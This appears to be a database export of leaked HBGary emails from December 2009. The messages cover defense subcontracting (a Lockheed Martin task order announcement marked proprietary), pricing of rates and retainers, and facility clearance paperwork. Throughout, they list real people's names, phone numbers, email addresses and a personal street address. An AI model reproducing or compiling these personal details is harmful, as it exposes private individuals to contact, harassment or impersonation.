\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and Aaron,\r\n\r\n&nbsp;\r\n\r\nFYI. An UNO announcement.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile\r\n240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Gaudin, Elizabeth\r\n[mailto:elizabeth.gaudin@lmco.com] \r\nSent: Tuesday, December 15, 2009 2:32 PM\r\nTo: Gaudin, Elizabeth\r\nCc: Anderson Jr, Robert L; Racz, James M; Watson, Charles M; Jeffers,\r\nJeff L\r\nSubject: ANNOUNCEMENT: Task Order - MadHatter - Lockheed Martin\r\nProprietary Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nLOCKHEED MARTIN\r\nPROPRIETARY INFORMATION:\r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure.\r\n.\r\n.\r\nMessage Start:\r\n\r\nDear\r\nUNO Suppliers:\r\n\r\n&nbsp;\r\n\r\nThe\r\nLockheed Martin UNO PMO is expecting to receive a formal RFP &amp; Statement of\r\nWork for Task Order MadHatter on/about the first week of January,\r\n2010.&nbsp; MadHatter will be a 12 month Cost Plus Award Fee &#8211;\r\nCompletion (CPAF-C) effort, with an additional exercisable 12 month\r\nOption.&nbsp; This announcement commences Task Order MadHatter Day Zero\r\nactivities.\r\n\r\n&nbsp;\r\n\r\nMadHatter is an integrated end-to-end\r\nsoftware system developed around a modular, extensible&nbsp;&nbsp; architecture\r\nfor use with enterprise-level networks.&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\nTo be\r\nconsidered qualified, interested suppliers must have significant experience\r\nwith network protocol analysis and development.&nbsp; Additionally, extensive\r\nexperience with modular software development is required.\r\n\r\n&nbsp;\r\n\r\nIf you\r\nare interested in, and have the capabilities to meet the basic requirements of\r\nthis task order, then please provide a written initial\r\nconfirmation of your interest via email to Elizabeth Gaudin, UNO\r\nSubcontracts Administrator, at elizabeth.gaudin@lmco.com\r\nand Jim Racz, UNO Lead System Engineer, at james.m.racz@lmco.com by NLT noon (12pm) on Thur,\r\n12/17.&nbsp; In your confirmation response to LMCO, please be sure to\r\nconfirm your Security POC name, phone, and fax numbers (classified and\r\nunclassified).\r\n\r\n&nbsp;\r\n\r\nAfter\r\nthis notification, a MadHatter Reading Room will be available to view a\r\ndraft Statement of Work which cannot be promulgated via Secure FAX.&nbsp; The\r\nReading Room will only be available for those that have provided written\r\nnotification of their continuing interest.&nbsp; The reading room will be\r\navailable 17, 18 &amp; 21 Dec from 0800-1600 in one hour segments.&nbsp; Please\r\ncall or email Jim Racz (703-466-3314) james.m.racz@lmco.com\r\n) to set up an appointment.&nbsp; A TS/ISA clearance on file at UNO is\r\nrequired to review the draft MadHatter SOW. \r\n\r\n&nbsp;\r\n\r\nTo continue to be eligible for the final down-select, the UNO PMO will require\r\nan additional capabilities and experience statement that relates to the MadHatter\r\nTask Order architecture described in the draft SOW.&nbsp; Suppliers may include\r\nquestions in their responses.&nbsp; The capabilities and experience statement\r\nshall not exceed 4 pages and should reference Project names when possible for\r\npast performance similarities. This must be received NLT COB Tuesday, 12\r\n/22/09.&nbsp; You may provide that via classified FAX to 703-793-6576 if\r\nthe classification does not exceed your Secure FAX classification\r\nauthorization.&nbsp; Any supplier who submit a capabilities statement is\r\nproviding final confirmation of interest to bid to the UNO PMO.\r\n\r\n&nbsp;\r\n\r\nProgram\r\nManager and all engineers/ technicians for Task Order TagTeam&nbsp; must\r\ncurrently possess a TS/ISA security clearance\r\nand be available on day 1.&nbsp;\r\nPlease note that other security requirements may be promulgated.\r\n\r\n&nbsp;\r\n\r\n\r\nThe\r\nfollowing is our current projected schedule:\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nO/A\r\nJan4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinal downselect and Beginning of 10-day task order process &#8211; UNO PMO sends RFP\r\nto solicited (and eligible unsolicited) bidders\r\n\r\nO/A Jan\r\n18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTask order winner is selected\r\n\r\nO/A Jan\r\n29&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAuthorization to proceed on contract\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nCurrently\r\nit is expected that the work required for MadHatter will be at the TOP\r\nSECRET/SCI level.&nbsp; By the time of contract award, you must have the\r\ncapability to receive, process, and store a TOP SECRET/SCI classified\r\nmaterial.&nbsp; If you do not have the capability to receive and store\r\nclassified materials, then please contact me to make other arrangements.\r\n\r\n&nbsp;\r\n\r\nShould\r\nyou have any further questions regarding this, please do not hesitate to\r\ncontact me.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\nElizabeth\r\nGaudin\r\n\r\nLockheed\r\nMartin IS&amp;GS\r\n\r\nSr.\r\nSubcontract Administrator\r\n\r\n703-466-1373\r\n- office\r\n\r\n703-466-1270\r\n- fax\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nElizabeth \r\n\r\nElizabeth B. Gaudin \r\n\r\nIS &amp; GS - Global Supply Chain Management \r\n\r\nSubcontract Administrator \r\n\r\no.703.466.1373\r\n\r\nf.703.466.1270\r\n\r\n&nbsp;l\r\n\r\n\r\n&nbsp;Please consider the\r\nenvironment before printing this email.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11061,'aaron_hbgary_com/11061.html'),(679,'2009-12-15','ted@hbgary.com','/aaron@hbgary.com/new/1296999996.M521328P3547Q679.eml','aaron@hbgary.com','HBGary Federal, LLC','\r\n\r\nI\'ve shared HBGary Federal, LLC\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nHBGary Federal, LLC\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',2594,'aaron_hbgary_com/2594.html'),(680,'2009-12-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999997.M220149P3547Q680.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Target Rates Request for SPAWAR (HBGary) by Wednesday 12/16/09 with the attachment','\r\n\r\n\r\n\r\n\r\nTarget Rates Request for SPAWAR (HBGary) by Wednesday 12/16/09 with the\r\nattachment\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nHBGary is teaming with GD-AIS on their SPAWAR IDIQ proposal.&nbsp;\r\nJane Kronzer sent me this email saying they have formulated rates that give them\r\nthe &#8220;price to win&#8221; by labor category as detailed in the attached\r\nspreadsheet.&nbsp; They asked if HBGary would lower our rates.&nbsp; I told\r\nher, &#8220;No. The HBGary rates need to stay as is, but we will be able to\r\ngive you a second spreadsheet for HBGary Federal rates.&#8221;&nbsp; My\r\nthinking is that HBGary Federal will ultimately have lower rates than HBGary.\r\nAnd if we can quote lower rates GD will put us in for more hours on their\r\nproposal.\r\n\r\n&nbsp;\r\n\r\nThe gov&#8217;t told them there will be 400,000 hours or 212\r\nman-years, which sounds like a lot if it happens.&nbsp; Jane also said we would\r\nnot be contractually bound to whatever numbers we give them.&nbsp; The real\r\nrates get negotiated in the contract.&nbsp; I didn&#8217;t totally understand what\r\nshe was saying and she wasn&#8217;t totally sure either.\r\n\r\n&nbsp;\r\n\r\nThe idea is that HBGary will be the team member, and HBGary\r\nFederal will be a subcontractor to HBGary even if HBGary Fed does more of the\r\nwork.&nbsp; Seems to me we would want to add a 10% fee on top of whatever rates\r\nHFed gives us.\r\n\r\n&nbsp;\r\n\r\nCan you guys turn this around by Dec 16?&nbsp; Your rates would\r\nprobably be guesses right now and based on market, not DCAA approved.&nbsp; Let\r\nme know if you have any questions.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Kronzer, Jane M.\r\n[mailto:Jane.Kronzer@gd-ais.com] \r\nSent: Tuesday, December 15, 2009 4:35 PM\r\nTo: Bob Slapnik\r\nSubject: Target Rates Request for SPAWAR (HBGary) by Wednesday 12/16/09\r\nwith the attachment\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob-\r\n&lt;&lt;SSC PAC sub rate assessment HBGary.xls&gt;&gt; \r\n\r\nPer my voicemail message,\r\nto ensure a competitive edge\r\nand a successful IDIQ SPAWAR\r\nproposal, GDAIS has identified target rates\r\nfor your company for specific labor categories (Government Facility and\r\nContractor Facility) on\r\nthe attached xls. \r\n\r\nPlease review rates for the\r\nlabor categories identified on the attached with &#8220;Missed&#8221; listed in column C, and\r\nadvise if a reduction can be achieved to meet the Target Rates listed in column\r\nD.&nbsp; \r\n\r\nPlease provide revised\r\nrates NO LATER THAN COB 16 DECEMBER 2009.&nbsp; Also request notification if\r\na rate reduction is not attainable.\r\n\r\nJane Kronzer\r\n\r\nGeneral\r\nDynamics, Advanced Information Systems\r\n\r\nLead\r\nSpecialist, Subcontracts\r\n\r\nPhone: 650\r\n966-2216\r\n\r\nFax: 650\r\n966-2090\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7113,'aaron_hbgary_com/7113.html'),(681,'2009-12-15','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999997.M484395P3547Q681.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Retainer for Services doc/template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and Aaron will give you pricing for this ASAP.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Friday, December 04, 2009 12:15 PM\r\nTo: Penny C. Hoglund\r\nSubject: Fwd: Retainer for Services doc/template\r\n\r\n\r\n\r\n&nbsp;\r\n\r\npricing needed for eTrade\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: Wed, Dec 2, 2009 at 10:30 AM\r\nSubject: Re: Retainer for Services doc/template\r\nTo: Penny Hoglund &lt;penny@hbgary.com&gt;\r\nCc: Rich Cummings &lt;rich@hbgary.com&gt;,\r\nted@hbgary.com, aaron@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nDo we have a description of services and pricing (Federal\r\nand Commercial)?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Service \r\n  \r\n  \r\n  Same Day\r\n  &nbsp;&nbsp;\r\n  \r\n  \r\n  24 Hour\r\n  &nbsp;\r\n  \r\n  \r\n  3 Day\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  On-site\r\n  IR clean up labor level 1\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  On-Site\r\n  IR clean up labor level 2\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Off-site\r\n  Malware Analysis labor xx hours etc\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Number of\r\n  Nodes\r\n  \r\n  \r\n  Cost Per\r\n  Node &#8211; 2 week dissolvable agent\r\n  \r\n  \r\n  Cost Per\r\n  Node &#8211; 6 week dissolvable agent\r\n  \r\n \r\n \r\n  \r\n  Less than\r\n  5,000\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  5000-24,999\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Etc.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Dec 2, 2009 at 9:51 AM, Penny Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHere is what I have for consulting agreements .&nbsp; The\r\nPro Services agreement\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich\r\nCummings [mailto:rich@hbgary.com]\r\n\r\nSent: Wednesday, December 02, 2009 9:32 AM\r\nTo: \'Penny Hoglund\'; ted@hbgary.com;\r\naaron@hbgary.com\r\nCc: \'Maria Lucas\'\r\nSubject: Retainer for Services doc/template\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nDo\r\nany of you have a template or example of a services agreement for customers who\r\nwould like to purchase HBGary services on retainer?&nbsp; An example is etrade,\r\nthey want to have HBGary services on retainer so that *if/when* they\r\nhave a network intrusion or malware analysis requirement they can pick up the\r\nbat-phone and we&#8217;ll provide the specified level of support that is agreed upon.\r\n\r\n\r\n&nbsp;\r\n\r\nWe&#8217;ve\r\nbeen getting lots of interest in this area and the sales people should have\r\nsomething to provide prospective customers. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com\r\n|email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2941,'aaron_hbgary_com/2941.html'),(682,'2009-12-15','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999998.M514465P3547Q682.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Expense Forms','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere you go\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John L. Cox, CPA\r\n[mailto:johncoxcpa@verizon.net] \r\nSent: Friday, April 03, 2009 7:10 AM\r\nTo: \'Penny C. Hoglund\'\r\nSubject: RE: Expense Forms\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHere are three templates that I\r\nhave that may be of use as a starting point.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nL. Cox, CPA\r\n\r\n12107 Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(301)\r\n646-4032 Voice\r\n\r\n(301)\r\n542-0040 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message contains information that my be confidential and\r\nprivileged. Unless you are the addressee (or authorized to receive for the\r\naddressee), you may not use, copy, print or disclose to anyone the message or\r\nany information contained in the message. If you have received this e-mail in\r\nerror, please advise the sender by reply and delete the message. Thank you.\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny C. Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Monday, March 30, 2009 6:05 PM\r\nTo: \'John L. Cox, CPA\'; barbarabookkeeping@yahoo.com\r\nSubject: Expense Forms\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFor office related expenses. Do you have one?\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14102,'aaron_hbgary_com/14102.html'),(683,'2009-12-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999998.M738600P3547Q683.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>','Re: Security Stuff (not really)','Penny,I submitted the DUNS request and expect to receive it tomorrow.  Once I receive it I will submit the CAGE Code request.  I downloaded the facility clearance checklist and associated documents (sponsor letter, etc).  Once I have the CAGE code I will submit to ARSTRAT for sponsorship.  I will also send a copy to Ben at GD (who asked for this info to get us listed as an authorized GD vendor).\r\nI&#39;ll reach out to Jerry if I have any questions and will keep you informed on the progress.TedOn Tue, Dec 15, 2009 at 5:09 PM, Penny Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYeap, we have people on itJ  I’m hoping to see you in\r\nJanuary.  BTW, we moved\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ousley, Jerry, CIV,\r\nDSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Tuesday, December 15, 2009 4:56 PM\r\nTo: penny@hbgary.com\r\nSubject: Re: Security Stuff (not really)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nRemember the 254\r\nand sponsor letter goes to DISCO not to me.\r\n        \r\n\r\n----- Original Message -----\r\nFrom:  Penny Hoglund &lt;penny@hbgary.com&gt;\r\nTo: Ousley, Jerry, CIV, DSS; &#39;Ted Vera&#39; &lt;ted@hbgary.com&gt;\r\nSent: Tue Dec 15 19:46:44 2009\r\nSubject: RE: Security Stuff (not really)\r\n\r\nRight, we can get that.  I&#39;ll make sure we have to the full package for\r\nyou:)\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil]\r\nSent: Tuesday, December 15, 2009 4:20 PM\r\nTo: Penny Hoglund; Ted Vera\r\nSubject: RE: Security Stuff (not really)\r\n\r\nMs Penny\r\nSince your Facility Security Clearance was terminated, you will need a\r\nsponsor.  That sponsor will complete the DD 254 and a sponsorship letter\r\nand submit that to DISCO processing.  Once that has been completed, I\r\nwill be notified to conduct an on-site visit to get the process started.\r\nBut the first thing you will need is a sponsor, you can&#39;t sponsor\r\nyourself.\r\nJ.O.\r\n\r\n-----Original Message-----\r\nFrom: Penny Hoglund [mailto:penny@hbgary.com]\r\nSent: Tuesday, December 15, 2009 7:07 PM\r\nTo: Ousley, Jerry, CIV, DSS; &#39;Ted Vera&#39;\r\nSubject: RE: Security Stuff (not really)\r\n\r\nHi Jerry,\r\n\r\nOK, here&#39;s the situation and since you are the professional, thought I&#39;d\r\nask.  First, I don&#39;t&#39; have a current DD254 but I&#39;ll fill one out ASAP if\r\nyou\r\ntell me where to get it.  Second, we changed the entity because we shut\r\nit\r\ndown (we weren&#39;t doing a lot with it) then we hired two NEW people to\r\nrun it\r\nfrom Northrup who HAVE super high clearances.  So now I need to get a\r\ncage\r\ncode.  They just want to have all the forms that we need to get this in\r\nplace then we will make sure they are all filled out, you have all\r\npaperwork\r\nand we can go.  I&#39;m copying Ted because he is more familiar with this\r\nprocess than I am.  I have all my old forms IN A FILE, per your\r\nsuggestion:)\r\n\r\nThanks\r\nPenny\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil]\r\nSent: Tuesday, December 15, 2009 3:56 PM\r\nTo: Penny Hoglund\r\nSubject: RE: Security Stuff (not really)\r\n\r\nMs Penny\r\nYes, I do remember you, what&#39;s going on?  I will need some additional\r\ninformation from you: address, phone number and do you have current DD\r\n254?\r\nJ.O.\r\n\r\n-----Original Message-----\r\nFrom: Penny Hoglund [mailto:penny@hbgary.com]\r\nSent: Tuesday, December 15, 2009 12:59 PM\r\nTo: Ousley, Jerry, CIV, DSS\r\nCc: Shea, Beth, CIV, DSS; &#39;Ted Vera&#39;\r\nSubject: RE: Security Stuff (not really)\r\n\r\nHi Beth or Jerry,\r\n\r\n\r\n\r\nI have a question on facilities clearances and getting reinstated.\r\nBeth, according to the phone directory, you are &quot;not found&quot;. \r\nCan you\r\nplease call me at 916-459-4727 ext 105, it&#39;s kind of time sensitive.\r\nJerry, not sure you remember me, we met in downtown Sacramento on H at\r\nthe converted hotel to business.  Hope all is well with your family\r\n\r\n\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil]\r\nSent: Monday, December 14, 2009 3:28 PM\r\nCc: Shea, Beth, CIV, DSS\r\nSubject: Security Stuff (not really)\r\n\r\n\r\n\r\nI have a family emergency and I will be unavailable from 15-18 Dec 09\r\n(but will have access to emails/blackberry) but if you need to contact\r\nsomeone please call the office at (408) 830-9042, FOC is Beth Shea.\r\n\r\nJ.O.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',14542,'aaron_hbgary_com/14542.html'),(684,'2009-12-16','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1296999998.M942001P3547Q684.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,,,,','5 key GAPS of cyber-security for DHS to focus on - senate testimony','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nFive key cyber security challenges the Department of\r\nHomeland Security should tackle were outlined in testimony delivered Wednesday\r\nat a hearing on post-9/11 transportation challenges. \r\n\r\n&nbsp;\r\n\r\nThe only witnesses at a Senate Commerce Science and\r\nTransportation hearing on post-9/11 transportation challenges Wednesday was\r\nHomeland Security Secretary Janet Napolitano, but the managing director for\r\nhomeland security and justice at the Government Accountability Office delivered\r\na written statement for the record that outlined five key cyber security\r\nchallenges the Department of Homeland Security should tackle. \r\n\r\n&nbsp;\r\n\r\nAccording to the statement prepared by Cathleen Berrick, the\r\nfive key cyber security areas include: \r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBolstering cyber analysis and warning capabilities;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGARY does this very well.\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe need to use this language when speaking to DHS\r\nfolks, Folks on the Hill&#8230;\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOur cyber analytics provide a transformational\r\ncapability at the national, regional, local levels.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCompleting actions identified during cyber exercises;&nbsp;&nbsp;\r\n\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary fills this MAJOR GAP&#8230; root cause analysis,\r\nmalware holds the &#8220;ground truth&#8221;..\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGround truth is competitive advantage required for\r\noptimal decision making/accomplishing the mission/acceptable risk metrics\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRoot cause analysis answers the questions of how they got\r\nin and how they retain a foothold&#8230;&nbsp; this is used to stop them next\r\ntime&#8230;&nbsp; \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nImproving cyber security of infrastructure control\r\nsystems;\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThis is SCADA stuff..&nbsp; this is not our sweet spot\r\nbut could be if we had lots more developers&#8230; \r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStrengthening DHS\'s ability to help recover from\r\nInternet disruptions; \r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAddressing cybercrime &#8211; \r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHBGary technology is advancing cybercrime investigations,\r\nanalysis, and decision making\r\n\r\n&nbsp;\r\n\r\nBerrick said DHS has made progress in strengthening cyber security,\r\nsuch as addressing some lessons learned from a cyber attack exercise, but\r\nfurther actions are warranted. &quot;DHS has since developed and implemented\r\ncertain capabilities to satisfy aspects of its responsibilities,&quot; she\r\nsaid, &quot;but it has not fully implemented GAO\'s recommendations and, thus,\r\nmore action is needed to address the risk to critical cyber security\r\ninfrastructure.&quot;\r\n\r\n&nbsp;\r\n\r\nhxxp://www.govinfosecurity.com/articles.php?art_id=1975\r\n\r\n&nbsp;\r\n\r\n--Rich\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2503,'aaron_hbgary_com/2503.html'),(685,'2009-12-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999999.M139857P3547Q685.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: Fulfilled New DUNS Request - Tracking ID : 1138273','DUNS number received. &nbsp;Now I\'ll fill out the cage code request.TedBegin forwarded message:Date: December 16, 2009 9:28:18 AM PSTTo: ted@hbgary.comSubject: Fulfilled New DUNS Request - Tracking ID : 1138273THIS IS AN AUTOMATED MESSAGE GENERATED BY THE D&amp;B D-U-N-S REQUEST PORTAL.\r\n\r\nD&amp;B has fulfilled your D-U-N-S number request.  \r\n\r\nYOU MUST WAIT AT LEAST 24-48 HOURS BEFORE YOU CAN BEGIN USING THIS DUNS NUMBER, ESPECIALLY IF YOU ARE GOING TO REGISTER IN CCR.\r\n\r\nCCR registration at www.ccr.gov (Click \"Start New Registration\") CAN BEGIN AFTER 24 HOURS. For US ** FEDERAL ** Government contractors, failure to register your DUNS Number in CCR within 30 days may cause D&amp;B to deactivate your DUNS number.\r\n\r\nFor questions about the CCR registration process, please contact the CCR help desk at 866-606-8220 or https://www.fsd.gov/clients/.\r\n\r\nFor questions about your D&amp;B D-U-N-S Number, call 866-705-5711.   &nbsp;&nbsp;&nbsp;  Your D-U-N-S Number is  832950831forHBGary Federal, LLC3604 Fair Oaks BlvdSacramento,CA,95864UNITED STATES OF AMERICA\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',8630,'aaron_hbgary_com/8630.html'),(686,'2009-12-16','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1296999999.M333056P3547Q686.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n&nbsp;\r\n\r\nAs we get new employees I will send you new lists. \r\n\r\n&nbsp;\r\n\r\nHave a great day!\r\n\r\n&nbsp;\r\n\r\nDeeAnn 